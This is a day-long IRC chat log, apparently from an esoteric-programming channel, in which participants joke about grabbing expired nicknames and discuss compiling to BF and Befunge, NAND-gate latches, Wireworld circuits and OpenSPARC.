05:32:02 <augur> english does not have number in adjectives.
05:32:11 <Saites> It's Greek for "from Sais, Egypt".
05:32:22 -!- Your has joined.
05:32:24 <augur> ah. so then you shouldnt be using it in english :D
05:32:31 * Your BRAIN IS ON FIRE!!!
05:32:49 <augur> why are you yelling in only part of the sentence?
05:32:56 -!- Your has changed nick to NetHack.
05:33:02 <augur> guys have i mentioned my Brief History of Grammar?
05:33:47 <oerjan> hm -ites is the same as english -ite, right?
05:34:12 <oerjan> so you would at least drop the -s when using it in english
05:34:20 <oerjan> unless you pluralize it
05:34:37 <augur> he said "Sais" means egypt
05:34:59 <augur> "It's Greek for "from Sais, Egypt".
05:35:13 <oerjan> http://en.wikipedia.org/wiki/Sais
05:35:14 <augur> unless sais is a citty in egypt
05:35:17 -!- NetHack has changed nick to slashdot.
05:35:19 <augur> in which case it doesnt matter
05:35:24 <augur> since the point is the word is "sais"
05:35:39 -!- slashdot has changed nick to SlashDot.
05:35:45 <augur> so it could be sais + es
05:35:59 <augur> and s becomes t before the -es 'from' suffix
05:36:01 -!- SlashDot has changed nick to Slashdot.
05:36:24 <oerjan> well is -es or -ites the from suffix?
05:36:26 -!- Slashdot has left (?).
05:36:45 <augur> is ihope greek/fluent in greek?
05:36:58 <oerjan> i was more hoping you were
05:37:04 -!- Smalltalk has joined.
05:37:15 -!- augur has changed nick to Smalltalk-80.
05:37:28 -!- Smalltalk has changed nick to Fortran.
05:37:29 -!- Smalltalk-80 has changed nick to Squeak.
05:37:40 <GregorR> :NickServ!NickServ@services. NOTICE Fortran :You have too many nicks registered already.
05:37:45 <GregorR> :( :( :( :( :( :( :( :( :( :(
05:37:54 -!- Squeak has changed nick to augur.
05:38:02 <augur> '*** Notice -- Too many nick changes; wait 0 seconds before trying again'
05:38:14 <GregorR> Apparently 20 is the limit.
05:38:20 -!- amca has quit ("Farewell").
05:39:25 -!- Fortran has changed nick to Beagleboard.
05:39:26 <oerjan> "The Dynasty's reign (c. 685-525 BC) is also called the Saite Period after the city of Sais"
05:39:30 -!- Beagleboard has left (?).
05:39:36 <oerjan> http://en.wikipedia.org/wiki/Saite
05:39:43 <augur> have i ever mentioned how much i hate PHP
05:39:47 <augur> because i hate pgp
05:40:08 <oerjan> pretty hopeless privacy
05:40:32 <augur> pretty hopeless programming, more like it
05:40:38 <augur> php added goto recently, ISNT THAT SWELL?
05:40:47 <augur> granted its a limited goto but
05:41:04 <augur> even so, its trashy.
05:42:23 -!- write has joined.
05:43:16 -!- write has changed nick to read.
05:43:27 -!- GregorR has changed nick to write.
05:43:32 <write> I am quite seriously changing my nick.
05:43:36 <write> For the first time in ever.
05:43:42 <oerjan> roses are read, violets blew
05:44:11 <oerjan> this is a time of great changes
05:44:21 <oerjan> in a week i won't remember who _anyone_ is
05:44:58 <augur> i already dont, oerjan
05:45:25 <write> There are so many juicy unowned nicks.
05:45:29 -!- read has left (?).
05:46:10 <write> ARGH. cc is unowned.
05:46:18 <write> I could be the C compiler!
05:46:32 <oerjan> 2 letters are allowed?
05:46:37 <myndzi\> hah. they just expired em eh
05:46:39 -!- myndzi\ has changed nick to myndzi.
05:46:53 <myndzi> 1 letter is allowed .... but probably taken
05:49:04 <write> Hm, I could be Codu, too.
05:49:58 <Saites> I know very little Greek.
05:50:09 <oerjan> how much code could codu code if codu could code code
05:50:46 <write> Codu can code code, biatch!
05:51:00 <write> Woodchuck is free :P
05:51:45 <myndzi> all these nicks dropped so everyone is going to go suck them up again and not use them?
05:51:50 <oerjan> how should i know? \o/
05:52:02 <write> Hey, I'm using one!
05:53:16 <oerjan> what myndzi needs is some precognition /o\
05:53:41 <oerjan> that doesn't really work
05:53:54 -!- cpressey has joined.
05:54:12 <cpressey> This would be a cool moment if you ignore the hostmask ;)
05:54:16 * oerjan swats the fake cpressey -----###
05:54:32 <cpressey> I should register it for ... protective purposes?
05:55:09 <oerjan> what about people standing on their head? \<
05:55:11 <cpressey> Anybody trawling a log with no host info, <-- GregorR, not really cpressey
05:56:00 <cpressey> Hey, at least I said so myself :P
05:56:37 -!- cpressey has changed nick to graue.
05:56:53 <graue> Surely graue has been on recently enough not to lose his nick???
05:57:23 <oerjan> he is here extremely rarely
05:57:40 <oerjan> he doesn't even show up on the wiki these days unless you mail him
05:59:43 <write> We should all change our nicks to open, close, read, write, pipe and go hang out in ##unix.
06:01:26 <write> I see nobody else finds this idea awesome :P
06:02:24 -!- graue has changed nick to make.
06:02:32 <make> So many good nicks, so little time D-8
06:02:36 -!- oerjan has quit ("fork").
06:03:36 <Saites> And I have still only changed my nick once.
06:03:57 <write> I've only made one as-yet-unreversed nick change :P
06:08:13 <write> More unowned nicks: html, porn, Solaris (but in use), Stalin, ussr, two, three, four, email, NickHoarder
06:08:57 <myndzi> any of you dudes wanna help me with a hardware conundrum?
06:09:08 <myndzi> i've got a PSU that has a 24 pin connector with 4 pins detachable
06:09:18 <myndzi> (for 20 / 4 motherboards)
06:09:28 <myndzi> but the motherboard has a 24 pin and also a 4 pin connector
06:09:43 <myndzi> both are new purchases, shit wouldn't power on with just the 24 pins connected
06:09:51 <myndzi> well it would, but it wouldn't do anything
06:10:21 * write has no hardware knowledge.
06:11:25 <write> More unowned nicks: Leela, Bender, Zoidberg, Hermes, Zapp, Kif
06:13:52 * write just typed /whois god
06:14:06 <myndzi> i'm a budget sorta guy so i only ever do this every few years
06:14:09 <myndzi> seems there's always something new
06:14:19 <augur> real name, unknown!
06:14:24 <myndzi> this time i apparently missed that i am supposed to plug an 8 pin lead from the PSU into the 4 pin port on the mobo o_O
06:15:48 <myndzi> luckily i didn't try detaching the 4 pin thing from the 24 pin thing and using it! coulda messed things up :(
06:16:23 <write> More unowned nicks: admin, op, unix, glibc, fast, calorimeter
06:16:28 <write> And now, to sleep X-P
06:16:33 -!- make has quit.
06:16:45 <write> You might find yourself losing that nick :P
06:17:04 <myndzi> losing my nick? no, it is safely registered
06:17:20 <write> Nono, I meant "op"
06:17:22 <write> If you were to take it.
06:17:34 <myndzi> but i don't know why someone would take it from me if i regged it
06:21:30 -!- sebbu has quit (Read error: 110 (Connection timed out)).
06:23:05 -!- Microsoft has joined.
06:23:27 * Saites quickly /whos Microsoft before he can drop any of his connections
06:23:43 <Saites> You are Microsoft and write.
06:24:22 <Saites> I am Saites and loggic.
06:24:50 <Saites> Except I don't actually know who loggic is.
06:25:02 -!- Microsoft has quit (Client Quit).
06:27:13 <Saites> It's fun to /who your hostname and see who else is connected from your computer!
06:33:13 <augur> i think itd be useful to develop some sort of metalanguage that makes it trivially easy to experiment with proglang design
07:09:41 -!- coppro has quit ("The only thing I know is that I know nothing").
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:34:01 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
08:41:27 -!- sebbu has joined.
08:42:53 -!- lereah_ has joined.
08:52:55 <augur> is there an HLL that compiles to BF?
09:47:25 <fizzie> There's gcc-bf, which I guess doesn't yet quite work? (And if you want an H-er HLL, quite a lot of things can be compiled to C.)
09:48:24 <fizzie> And bfbasic, of course, though that might be even less H.
10:13:58 -!- BeholdMyGlory has joined.
10:52:51 <augur> what about a compiler-to-a-TM?
10:52:59 <augur> ive been tempted to write one of those for the fun of it
10:56:04 <fizzie> Haven't heard of one, but that's no conclusive evidence either way.
10:57:39 <fizzie> For to-BF compilation, there's C2BF too; I have no first-hand experience on how complete that one is. gcc-bf gets the whole GCC compilation magic for free, of course, so it's probably the best choice assuming (a) it is made to work at some point and (b) you don't mind rather large output programs.
11:03:06 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
11:04:46 -!- Judofyr has quit ("raise Hand, 'wave'").
11:18:00 -!- ais523 has joined.
11:22:00 -!- MigoMipo has joined.
11:22:29 <augur> i feel that compilation to BF or a TM is too easy
11:22:34 <augur> compilation to befunge!
11:26:43 <fizzie> That's not too hard either unless you start taking aesthetics into account.
11:27:42 <fizzie> I've written at least one BF to Befunge translator (can't remember why right now), so if you can compile to BF, you can compile to Befunge.
11:28:22 <fizzie> Compilation to some sort of befunge-as-written-by-a-skillful-human is another thing, of course.
11:32:14 <ais523> augur: there's a Scheme to Befunge-98 compiler lying around somewhere
11:32:40 <augur> yeah i guess a to-befunge compiler could just use a bunch of generic constructs
11:33:34 <augur> we should try to make a language that is incredibly difficult to compile into, but not difficult to code in
11:33:55 <augur> just so very different than most other languages that translation requires significant conceptual changes
11:35:51 <augur> even the imperative-to-functional translation isnt conceptually difficult, right
11:36:13 <augur> because you can simulate all your state with a giant state dictionary that you map over
11:36:49 <augur> something like x = x + 1 is actually a map that leaves everything unchanged except the x entry, which gets mapped to x + 1
11:37:13 <augur> which is actually how haskells state monad works, i think
11:37:23 <augur> so what would be a truly difficult translation, thats what i wonder
11:37:32 <augur> maybe imperative to declarative?
11:38:33 -!- FireFly has joined.
11:38:47 <ais523> imperative to declarative isn't as hard as it looks
11:39:00 <ais523> the most painful bit is replacing the loops with recursion, and assignments with SSA
11:39:13 <ais523> but that can be done automatically, I think
11:39:17 <augur> but declarative doesnt really have recursion
11:39:36 <ais523> it has enough recursion to construct a loop
11:39:44 <ais523> even if it doesn't have anywhere near like functional-power recursion
11:39:56 <augur> i didnt think prolog had any sort of recursion except proof-related sorts
11:40:02 <fizzie> Prolog is a bit declarative, and it certainly can be written in a very imperative way. I did that Scheme interpreter.
11:40:12 <ais523> augur: a predicate can refer to itself
11:40:21 <augur> truth conditional recursive structures
11:40:21 <ais523> which works more or less the same way as a function calling itself
11:40:39 <ais523> in fact, recursion in Prolog > recursion in Scheme sometimes, because you can make things tail-recursive that wouldn't be in a functional language
11:40:56 <augur> so what is a difficult translation D:
11:42:16 -!- tombom has joined.
11:47:42 <fizzie> Since I had this link in the history, here's the Scheme-to-Befunge one: http://cubonegro.orgfree.com/sponge/sponge.html
11:48:01 <fizzie> It pretty much forgets about the 2d-aspect, puts all code on one line and uses x to move around.
11:48:42 <fizzie> So it's not very spirit-of-Funge.
11:48:59 <augur> if i were writing a compiler, i'd use the second dimension for achieving things like loops and conditionals
11:49:21 <augur> anything where code is not simply sequential
11:50:01 <fizzie> The BF-to-Befunge I had turned each "[...]" into "translate ..., then use the next free line for the 'return path' of the loop".
11:50:16 <ais523> much like Braktif, then
11:50:23 <ais523> which was a BF-to-cellular-automaton compiler
11:50:28 <augur> bf-to-b seems easier
11:50:39 <augur> i mean, befunge seems to be a superset of bf functionality
11:50:47 <augur> to some extent, anyway
11:50:50 <ais523> befunge doesn't exactly have a tape
11:50:55 <ais523> although there are ways to emulate one
11:50:59 <fizzie> There's the space, though.
11:51:00 <ais523> like using p and g, or the stack stack
11:51:15 <fizzie> I did p/g with the index-of-tape always at top-of-stack.
11:51:38 <augur> a stack with two stacks could do a tape trivially
11:51:48 <fizzie> Funge-98 has a stack of stacks, and you can move elements from the topmost to the one under it. That's very tape-like.
11:51:58 <augur> yeah, thats a tape.
11:53:25 <augur> id really like to see more conceptually difficult languages, and not so much simply tediously difficult languages
11:53:52 <fizzie> String-rewriting languages are fun to write in.
11:53:54 <augur> bf and befunge and so forth are just pains to code, they're not necessarily conceptually difficult
11:54:01 <augur> string rewriting languages?
11:54:05 <augur> meaning what, exactly?
11:54:07 <ais523> their main problem is that they're so /slow/
11:54:14 <ais523> but it's a good paradigm to work in
11:54:18 <augur> so you mean just formal grammars.
11:54:28 <ais523> also, certain problems with making sure things are unique
11:54:41 <augur> i find that formal grammars are so close to TMs in how you achieve certain things
11:54:54 -!- MigoMipo has quit ("http://www.mibbit.com ajax IRC Client").
11:54:55 <ais523> also, formal grammars are a sort of rewriting lang
11:55:02 <ais523> but there are rewriting langs that aren't formal grammars
11:55:06 <ais523> like Thutu, for instance
11:55:15 <ais523> http://esolangs.org/wiki/Thutu
11:55:30 <ais523> I should get around to standardising a Thutu wimpmode, sometime
11:55:40 <ais523> apart from the efficiency penalty, it's a really nice lang to program in
11:55:44 <ais523> I made Thutubot that way
11:56:18 <augur> i dont entirely follow
11:56:28 <augur> but i get the feeling that thutu is not simply a rewriting system
11:56:38 <ais523> it's still a rewriting-based language
11:56:41 <ais523> rewriting's a paradigm
11:56:54 <ais523> yes, it isn't as pure as Thue; but that doesn't make it a different paradigm
11:57:05 <ais523> just like Lisp isn't quite as pure as Haskell, but that doesn't prevent it being functional
11:57:23 <augur> in my mind, a rewriting system is pure rewriting, nothing else.
11:57:46 <augur> but then, i come from a more theoretical perspective
11:58:00 <ais523> I suppose you can distinguish the tarpit from the paradigm
11:58:06 <ais523> e.g. not all imperative languages are Brainfuck
11:58:44 <augur> it just seems like there are aspects of coding thutu that arent rewriting, and these seem to be important core features
11:58:49 <augur> but im not reading the whole thing so
11:59:00 <ais523> it's basically just contextualisation
11:59:09 <ais523> you could replace the IP by a rewriting-based one too if you wanted to
11:59:13 <augur> i need to get to sleep tho dude
11:59:14 <ais523> but that would be less efficient for no reason
12:09:08 -!- ais523 has quit (Remote closed the connection).
12:09:53 -!- ais523 has joined.
12:11:29 -!- Corun has joined.
12:18:59 -!- augur has quit (Read error: 104 (Connection reset by peer)).
12:19:24 -!- psygnisfive has joined.
12:23:08 <Sgeo_> http://pastie.org/509534
12:34:40 -!- MizardX has quit ("What are you sinking about?").
13:00:19 -!- ais523 has quit (Remote closed the connection).
13:09:11 -!- lereah_ has quit ("Leaving").
13:11:44 -!- oerjan has joined.
13:13:00 -!- psygnisfive has quit (Read error: 110 (Connection timed out)).
13:33:04 <fizzie> From a PHP-based website (with ~30 minutes between them, and a reload fixed it both times) I got two "fatal error" messages: "Non-static method (null)::@o/b.() cannot be called statically" and "Non-static method (null):: **.() cannot be called statically". It almost looks like some sort of esolang.
13:58:40 <write> Discovered the problem with this nick ;P
14:01:58 <write> The word "write" has meanings other than me :P
14:02:07 <write> So all my tabs are highlighted with unrelated conversations >_>
14:02:42 <oerjan> there had to be a reason it wasn't taken already...
14:03:13 -!- write has changed nick to GregorR.
14:03:20 <GregorR> Well, that was a fun experiment anyway :P
14:07:37 <fizzie> Oh, you were you. I didn't know.
14:22:45 -!- ais523 has joined.
14:35:52 -!- ski__ has quit (hubbard.freenode.net irc.freenode.net).
14:38:00 -!- ski__ has joined.
14:44:55 -!- oerjan has quit ("leaving").
14:51:05 -!- asiekierka has joined.
14:54:42 -!- whtspc has joined.
15:03:11 -!- MizardX has joined.
15:03:56 <whtspc> somebody knows about boolean algebra?
15:06:46 <whtspc> I'm quite new to the subject, but I understand that with a bunch of nand gates you can create any gate, and circuit
15:07:30 <ais523> well, any digital circuit
15:07:41 <whtspc> So if 'n' is a NAND-gate and A and B are switches or wires
15:07:55 <ais523> you can do it with nor gates too, but NAND gates happen to be easier to put onto a chip
15:08:05 <ais523> due to there being a type of transistor that more or less does a NAND
15:08:38 <ais523> and if you make that sort of transistor in reverse so as to get a NOR, the resulting device characteristics are completely different from the normal ones
15:08:38 <whtspc> (AnA(AnB))n(An(BnB) would be a circuit I could draw
15:08:55 <whtspc> yes and I read NAND-gates are cheaper?
15:08:56 <ais523> it would be if the parens matched, and you removed the second occurrence of A
15:09:17 <ais523> yep, as long as you want them to obey the normal characteristics of ICs
15:09:43 <ais523> such as 0 being more readily available as the positive rail, asymmetric distribution of thresholds on TTL, etc
15:09:50 <whtspc> ok, I just typed something with A's B's and n's
15:09:53 <ais523> actually, with modern CMOS devices, NAND and NOR are the same way
15:10:01 <ais523> because they're done the same way
15:10:16 <ais523> but NAND was easier in the days of TTL, so the concept of using NAND rather than NOR stuck
15:10:22 <whtspc> that's all a bit above my head :?
15:10:25 <ais523> and nowadays, NAND's slightly cheaper than NOR for economic reasons
15:10:44 <ais523> because the semiconductor companies want people to all order the same chip, rather than mix between NAND and NOR, for stock reasons
15:10:54 <ais523> so they make NOR marginally more expensive so everyone goes for the NAND
15:12:00 <whtspc> I wonder if I can make a statement in boolean algebra that reads this circuit:http://www.play-hookey.com/digital/images/rs-110.gif
15:14:08 <asiekierka> Basically, the result of the bottom NAND goes as the second parameter of the top NAND
15:14:20 <asiekierka> and the result of the top NAND goes as the first parameter of the bottom NAND
15:16:14 <whtspc> http://webster.cs.ucr.edu/AoA/DOS/pdf/ch02.pdf
15:16:30 <whtspc> was pretty readable I thought
15:17:24 <asiekierka> Well, wouldn't it create an infinite loop
15:17:38 <ais523> in order to do a latch, you need a loop
15:17:43 <ais523> otherwise, how could it remember anything?
15:18:41 <whtspc> every topic on boolean algebra stops where it gets interesting in my point of view
15:18:54 <whtspc> at the point where the latches come in
15:19:22 <whtspc> it makes me think you can't describe a latch within one statement
15:19:23 <ais523> well, basically, the idea is this: if you have a loop in a practical circuit
15:19:36 <ais523> then if there's exactly one value for elements in the loop that doesn't lead to a contradiction, it takes that value
15:19:45 <ais523> if there's more than one, it takes the value it last had (if that one's legal)
15:19:58 <ais523> if there are zero, things get rather fun but into the scope of practical electronics, rather than boolean algebra
15:25:47 <whtspc> If I try to describe to picture of the NAND-latch, and name the upperwire A and the other one B
15:25:49 <whtspc> An(Bn(An(Bn(An(Bn(An ....
15:25:50 <whtspc> I want to be sure I'm trying to do something that's impossible,
15:25:52 <whtspc> but I hope I make a stupid mistake.
15:26:04 <ais523> whtspc: it's because you can't write loops as a function like that
15:26:13 <ais523> you're trying to unroll there
15:26:16 <ais523> whereas you need to recurse
15:27:02 <whtspc> But would an additional element in the piece of text make it possible you think?
15:27:34 -!- MigoMipo has joined.
15:27:35 <ais523> yes, the usual way to do something like that would be f=Ang, g=Bnf
15:27:47 <ais523> where f and g are functions, which both reference each other
15:28:25 <whtspc> multiple statements, I see
15:30:15 <whtspc> and in this case, if you would read it/parse it and you encounter g for the first time in function f, would you simply consider g as false (0)?
15:31:08 <ais523> whtspc: no, it takes its previous value
15:31:26 <ais523> if it didn't have a previous value, in practice it's generally determined by things like random electrostatic drif
15:31:50 <ais523> this is why most practical circuits normally have resets, as I was telling ehird yesterday
15:32:01 <ais523> because you don't know what values your latches initialized too
15:32:11 -!- inurinternet has joined.
15:33:03 -!- GregorR-L has joined.
15:33:19 <whtspc> I see, that's an answer I understand :)
15:34:03 <GregorR-L> Whatever it is you're referring to.
15:34:12 <ais523> so the answer is, until you've forced the circuit to one value in particular (by doing an operation that causes both values to become that value), you have no clue what value's there
15:34:33 <ais523> this explains one of the nine values of VHDL's booleans: U means that you've just switched the circuit on and as yet, the value there is unknown
15:35:54 <whtspc> does this mean you can't create a programming language that solely exist out of a clock and nand gates,
15:36:09 <ais523> you can; you just have to come up with a clever method to do initialisation
15:36:17 <ais523> you generally need a reset input from somewhere
15:36:31 <ais523> practical computers use the rate of change of the power supply; if you didn't have power a second ago but you do now, reset
15:36:55 <ais523> (and some have reset buttons on the front too, but nowadays computer-makers tend not to add those)
15:37:43 <whtspc> if that reset would be that every unknown 'variable' the program pointer encounters == false wouldn't work?
15:38:13 <ais523> the reset's normally wired up to the set-to-0 wires of the latches
15:38:27 <whtspc> so in case of the f = Ang, g = unknown so 0
15:38:33 <ais523> as in, on the set-to-0 input, you put (reset OR user wants setting to 0)
15:38:48 <whtspc> not that I can program interpreters :)
15:39:01 -!- Sgeo_ has quit (Read error: 104 (Connection reset by peer)).
15:39:02 <ais523> so to start with, you have f = A n g, g = A n f
15:39:06 -!- Sgeo_ has joined.
15:39:16 <ais523> when not setting, A = 1, B = 1
15:39:27 <ais523> so f = 1 n U = U, g = 1 n U = U
15:39:37 <ais523> now, say you reset by changing A to 0
15:39:45 <ais523> then, f = 0 n U = 1, g = 1 n 1 = 0
15:39:53 <ais523> and you've got the unknown data out of your system
15:40:12 <ais523> (0 nand U = 1 because 0 nand 1 = 1 and 0 nand 0 = 1)
15:40:59 <whtspc> That makes a lot more sense now,
15:41:39 <whtspc> I only have to let it come down to me for a while,
15:41:48 <whtspc> but thank you, you're great!
15:44:45 <ais523> well, I'm an electrical and computer engineer in RL
15:44:50 <ais523> so this is my day job to know
15:49:56 -!- Sgeo_ has quit ("Leaving").
15:50:15 <whtspc> I'll try not to bother with your work anymore :) , weekend just started
15:54:50 -!- inurinternet has quit (Connection timed out).
16:01:39 -!- inurinternet has joined.
16:16:50 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
16:20:48 -!- Corun has quit (Read error: 110 (Connection timed out)).
16:59:48 -!- psygnisfive has joined.
17:29:47 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
17:31:00 -!- puzzlet has joined.
18:13:57 <asiekierka> I need to do a NAND esolang lat---wait, Circute
18:17:42 <pikhq> Just futz with Wireworld.
18:18:19 <pikhq> Yeah, it's a pretty nice CA.
18:18:24 <GregorR-L> Somebody should make a (somehow) smaller version of Wireworld and call it Wireland.
18:19:02 <asiekierka> Someone should make something like an Etch-a-Sketch with a WireWorld emulator inside
18:19:16 <pikhq> Probably add a semiconductor, so as to get smaller logic.
18:20:17 <pikhq> Man. We are growing organs *right now*.
18:20:38 -!- M0ny has joined.
18:20:51 <asiekierka> you could etch the WireWorld computer on it
18:21:10 <pikhq> Not merely "Oh, we grew a few organs in a lab, they look about right".
18:21:16 <lifthrasiir> how about Brainfuck-to-WireWorld compiler?
18:21:20 <pikhq> Clinical trials are nearly over.
18:21:47 <asiekierka> what about Brainfuck-to-Circute (easier) and then Circute-to-Wireworld
18:21:51 <lifthrasiir> it should take 10^8 generations for one instruction... :p
18:23:08 <pikhq> How about Brainfuck in Wireworld?
18:23:18 <lifthrasiir> asiekierka: it can take much shorter at expense of space, though.
18:25:24 <asiekierka> Did anyone implement a transistor in Wireworld?
18:27:04 <pikhq> Honestly, don't know.
18:28:01 <pikhq> I *do* know that there's a register machine in it.
18:28:08 <ais523> transistors are essentially analog
18:28:12 <ais523> and wireworld's digital
18:28:19 <asiekierka> I want to make an esolang that operates only on transistors
18:28:20 <ais523> you could implement a gate, but gates don't have all the features of transistors
18:28:37 <ais523> asiekierka: transistors are believed to be the most practical way to write noit o' mnain worb programs
18:30:31 <ais523> asiekierka: look it up on Esolang
18:30:38 <ais523> I'm not entirely sure how to encode that offhand
18:35:11 <pikhq> ais523: I'm not entirely sure what that stream of letters means.
18:35:24 <pikhq> “noit o' mnain worb”?
18:35:31 <pikhq> “noit o' mnain worb”‽
18:35:46 <ais523> pikhq: it's the name of an esolang
18:57:31 <pikhq> lifthrasiir: I know now.
18:57:51 <pikhq> To prove this, I shall make a comment about a hot cup of tea.
19:40:13 -!- GregorR-L has quit ("Leaving").
19:48:31 -!- MizardX has quit (Read error: 54 (Connection reset by peer)).
19:48:55 -!- ehird has set topic: SPIC: We spell the computer of the spirits with our conjours | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
19:49:13 <ehird> noit o' mnain worb is such a lovely name
19:50:41 <ehird> wireworld could be so much cooler
19:51:12 <ehird> i have some ideas for a nicer CA circuit thingy but probably ais523 would tell me that's how circuits work IRL>
19:51:21 <ehird> and i wouldn't have invented it any more.
19:53:34 <ehird> it basically involves lanes that little cells can go on, and if you hit a crossroad (= logic gate) it changes and you go somewhere
19:55:01 <ehird> (^ then goes off this snippet of the screen)
19:57:03 <ais523> that's rather different from real circuits
19:58:01 <ehird> ais523: I'm not sure it's a cellular automata, as things need to travel on paths, and cells can only affect cells that hit them (and often transform themselves in the process, or release new sparks)
19:58:09 <ehird> just more complex than usual
19:58:20 <ais523> see Wireworld for how to do that as a CA
19:59:10 <ehird> ais523: i was talking about wireworld before that...
19:59:17 <ehird> ais523: but wireworld is too CA and not circuit-y enough imo :P
20:00:37 -!- MizardX has joined.
20:04:36 <ehird> http://www.zen6741.zen.co.uk/wi-gifs/block.gif
20:05:57 -!- whtspc has joined.
20:07:39 -!- tetha has quit (Nick collision from services.).
20:07:48 -!- tetha has joined.
20:07:58 <whtspc> ehird: http://www.rezmason.net/wireworld/
20:07:58 <ehird> is there a reversible, turing complete CA?
20:08:06 <ehird> 20:04 ehird: http://www.zen6741.zen.co.uk/wi-gifs/block.gif
20:08:08 <ehird> 20:04 ehird: that's beautiful.
20:08:12 <ehird> I was using that :)
20:08:54 <ehird> whtspc: i mean, it didn't calculate one prime in like 5 minutes
20:09:21 <whtspc> I've never see it do anything too
20:09:34 <ehird> whtspc: the java version on the site http://quinapalus.com/ calculated "3"
20:09:38 <ehird> but is laggy and crap
20:11:18 <whtspc> and the javascript interpreter: http://people.bath.ac.uk/amg24/ma10126/wireworld/simulator.html sucks too
20:11:35 <ehird> and w/ golly you can only paint one colour in it for some reason
20:12:34 <FireFly> golly works alright for me
20:12:42 <ehird> FireFly: try it for wireworld
20:12:46 <ehird> you can only paint one colour
20:12:46 <FireFly> http://216.14.122.182/images/66602tmp2.png
20:12:49 <ehird> and that colour as a circle
20:12:52 <ehird> which is fucked up
20:12:52 <FireFly> It prints FireFly in some ways
20:13:05 <ehird> FireFly: how do you paint a colour other than blue
20:13:32 -!- asiekierka has quit (Read error: 110 (Connection timed out)).
20:13:45 <FireFly> http://216.14.122.182/images/7037tmp3.png
20:13:58 <ehird> oh hm i've used that bar before
20:14:02 <FireFly> ^ Just click on the colours
20:14:03 <ehird> guess i need to re-put it thar
20:14:07 <ehird> it's not showing y'see
20:18:48 <ehird> http://upload.wikimedia.org/wikipedia/commons/1/13/Wireworld_XOR-gate.gif
20:18:51 <ehird> i can't get this to work
20:18:57 <ehird> my clocks produce one and then give up
20:19:15 <ehird> FireFly: give that firefly thing as a Golly file?
20:21:36 <FireFly> http://firefly.nu/diverse/wi_screen-imp-2.6.rle
20:22:12 <FireFly> But at least it made the programming lessons more interesting
20:22:34 <ehird> FireFly: mah screen isn't big neough to keep it all zoomed in!
20:23:18 <ehird> FireFly: erm you have no connections to the screen
20:23:53 <ehird> FireFly: the ABCDEFGHIJKLMNOP
20:24:05 <FireFly> Meh, that one is just a copy of the real one
20:24:26 <FireFly> It was just to simplify which lines toggled which segments
20:24:30 <ehird> FireFly: ohh it makes pictures!
20:24:34 <ehird> i thought it just lit up the letters
20:24:36 <ehird> that is impressive.
20:24:40 <FireFly> It's supposed to print out "FireFly"
20:25:26 <ehird> ais523: x86 in WireWorld.
20:25:32 <ehird> ais523: And how, you say?
20:25:37 <ehird> ais523: VHDL→WireWorld compiler. You may now scream.
20:26:01 <ehird> ais523: Actually, that might be quite possible, mightn't it?
20:26:05 <ehird> Or at least a VHDL-like tarpit.
20:26:26 <ais523> such as the synthesizable set of VHDL
20:26:36 <ehird> ais523: Yes, but more tarpitty.
20:26:56 <ais523> that is pretty tarpitty
20:27:12 <ehird> ais523: But not enough for an esoproject.
20:30:17 <MigoMipo> http://www.opensparc.net/ I want to be able to synthesize that into WireWorld!
20:30:58 <ehird> SPARC is for lamers.
20:38:50 -!- tombom has quit ("Peace and Protection 4.22.2").
20:52:40 -!- Asztal_ has joined.
20:58:42 <ehird> ais523: how easy do you think it would be?
20:58:57 <ais523> probably about as hard as gcc-bf
20:59:14 <ehird> ais523: huh? you can do things like clocks in wireworld with like 15 cells
21:00:09 <ais523> yes, parsing and tarpitting the VHDL would be the hard part I imagine
21:00:23 <ehird> ais523: when i meant tarpit, I of course meant an easy-to-parse variation
21:00:31 <ehird> You don't need all of VHDL to make some cool machines.
21:00:42 <ehird> <Sun> Get the SPARC processor source free! <me> OK. <Sun> ENTER EMAIL AND PASSWORD OR SIGN UP
21:01:53 <ehird> OpenSPARC T2 chip design 1.2 release
21:01:54 <ehird> OpenSPARCT2.1.2.tar.bz2 237.64 MB
21:01:59 <ehird> ais523: do you think that's 237MB of text?
21:02:10 <ehird> i'm excited to look at the VHDL/whatever code.
21:02:33 <ehird> ais523: well, it IS the complete source of a modern, enterprise-grade server microprocessor...
21:03:07 <ehird> ais523: i mean, i wouldn't expect it to be small...
21:03:32 <ehird> [[Sun announced the T2's release on 7 August 2007, billing it as "the world's fastest microprocessor"]]
21:03:36 <ehird> [[Verilog RTL source code of the design
21:03:36 <ehird> Verification environment
21:03:40 <ehird> Open source tools, scripts and Sun internal tools needed to simulate the design
21:03:42 <ehird> ISA specification (UltraSPARC Architecture 2007)
21:03:44 <ehird> Solaris 10 OS simulation images]]
21:03:46 <ehird> guess it's the last one that's big
21:05:32 <ehird> ais523: but i'm not actually sure how complex modern processors would be; I'd expect at least 10MB of source code
21:06:13 <ehird> 21:01 ehird: ais523: do you think that's 237MB of text? ← well more like 238
21:09:09 -!- FireyFly has joined.
21:09:27 -!- Sgeo has joined.
21:11:13 -!- FireFly has quit (Nick collision from services.).
21:11:16 -!- FireyFly has changed nick to FireFly.
21:12:10 <ehird> ais523: if windows 7 won't include IE in europe, I wonder how people are meant to download a browser?
21:12:21 <ehird> perhaps it prompts them whether to download IE or not when you access a URL
21:12:28 <ais523> ehird: the EU said that too
21:12:41 <ais523> they said that they asked for more choice in browsers, and Microsoft were providing less
21:12:47 <ais523> which is a great response
21:13:07 <ehird> ais523: omg; does this mean that another browser might be available in a stock windows? even if it's a open-it-and-it'll-download
21:13:11 <ehird> (prolly not, MS has $$$)
21:13:19 <ais523> that's what the EU wants, I don't know if they'll get it
21:13:20 <ehird> ais523: they'd probably use maxthon or one of the other IE-with-another-shell browsers.
21:13:33 <ehird> that way it's as shitty as IE
21:13:44 <ehird> [they could disable the extra features by default]
21:14:31 * Sgeo whargarbles at both MSN Messenger Live and AVG Security Tolbar
21:14:41 <ehird> lol@windows sucking.
21:16:48 <Sgeo> Ok, AVG toolbar forcibly put Yahoo! search in the thing that comes up when I open a new tab
21:17:39 <Sgeo> No, I don't want you redisplaying weekly, I disabled that a while ago! Learn to keep options across upgrades!
21:17:48 <ehird> Sgeo: It sure must suck to use windows
21:19:09 <Sgeo> It's worth it for the ability to use Active Worlds, and easily set up other games as meets my fancy
21:19:24 <ehird> WINE, VMs and dual-booting are all non-existant fantasies.
